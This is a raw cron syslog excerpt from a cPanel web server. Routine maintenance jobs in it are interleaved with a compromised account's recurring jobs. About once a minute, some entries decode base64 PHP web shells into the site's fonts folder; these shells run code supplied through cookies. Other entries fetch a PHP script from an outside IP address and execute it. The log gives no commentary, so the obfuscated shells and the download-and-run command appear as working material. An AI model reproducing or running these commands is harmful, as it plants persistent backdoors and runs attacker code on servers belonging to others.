Sep 20 04:02:01 ip-184-168-122-23 CROND[11394]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 04:02:01 ip-184-168-122-23 CROND[11395]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 04:02:01 ip-184-168-122-23 CROND[11393]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 04:03:01 ip-184-168-122-23 CROND[11625]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 04:03:01 ip-184-168-122-23 CROND[11626]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 04:03:01 ip-184-168-122-23 CROND[11628]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 04:03:01 ip-184-168-122-23 CROND[11627]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 04:04:01 ip-184-168-122-23 CROND[11909]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 04:04:01 ip-184-168-122-23 CROND[11910]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 04:04:01 ip-184-168-122-23 CROND[11911]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 04:04:01 ip-184-168-122-23 CROND[11912]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 04:04:01 ip-184-168-122-23 CROND[11913]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 04:05:01 ip-184-168-122-23 CROND[12264]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 04:05:01 ip-184-168-122-23 CROND[12266]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 20 04:05:01 ip-184-168-122-23 CROND[12268]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 04:05:01 ip-184-168-122-23 CROND[12270]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 04:05:01 ip-184-168-122-23 CROND[12269]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 20 04:05:01 ip-184-168-122-23 CROND[12271]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 20 04:05:01 ip-184-168-122-23 CROND[12272]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 04:06:01 ip-184-168-122-23 CROND[12521]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 04:06:01 ip-184-168-122-23 CROND[12523]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 04:06:01 ip-184-168-122-23 CROND[12524]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 04:06:01 ip-184-168-122-23 CROND[12525]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 04:06:01 ip-184-168-122-23 CROND[12527]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 04:07:02 ip-184-168-122-23 CROND[12768]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 04:07:02 ip-184-168-122-23 CROND[12772]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 04:07:02 ip-184-168-122-23 CROND[12774]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 04:07:02 ip-184-168-122-23 CROND[12775]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 04:08:01 ip-184-168-122-23 CROND[13039]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 04:08:01 ip-184-168-122-23 CROND[13040]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 04:08:01 ip-184-168-122-23 CROND[13043]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 04:08:01 ip-184-168-122-23 CROND[13044]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 04:08:01 ip-184-168-122-23 CROND[13045]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 04:09:01 ip-184-168-122-23 CROND[13292]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 04:09:01 ip-184-168-122-23 CROND[13293]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 04:09:01 ip-184-168-122-23 CROND[13296]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 04:09:01 ip-184-168-122-23 CROND[13297]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 04:09:01 ip-184-168-122-23 CROND[13298]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 20 04:10:01 ip-184-168-122-23 CROND[13567]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 20 04:10:01 ip-184-168-122-23 CROND[13568]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 04:10:01 ip-184-168-122-23 CROND[13569]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 04:10:01 ip-184-168-122-23 CROND[13573]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 04:10:01 ip-184-168-122-23 CROND[13574]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 04:10:01 ip-184-168-122-23 CROND[13575]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 20 04:10:01 ip-184-168-122-23 CROND[13577]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 20 04:10:01 ip-184-168-122-23 CROND[13578]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 04:11:01 ip-184-168-122-23 CROND[13822]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 04:11:01 ip-184-168-122-23 CROND[13823]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 04:11:01 ip-184-168-122-23 CROND[13825]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 04:11:01 ip-184-168-122-23 CROND[13831]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 04:12:01 ip-184-168-122-23 CROND[14136]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 04:12:01 ip-184-168-122-23 CROND[14138]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 04:12:01 ip-184-168-122-23 CROND[14139]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 04:12:01 ip-184-168-122-23 CROND[14141]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 04:12:01 ip-184-168-122-23 CROND[14144]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 04:13:01 ip-184-168-122-23 CROND[14421]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 04:13:01 ip-184-168-122-23 CROND[14424]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 04:13:01 ip-184-168-122-23 CROND[14425]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 04:13:01 ip-184-168-122-23 CROND[14427]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 04:14:01 ip-184-168-122-23 CROND[14661]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 04:14:01 ip-184-168-122-23 CROND[14660]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
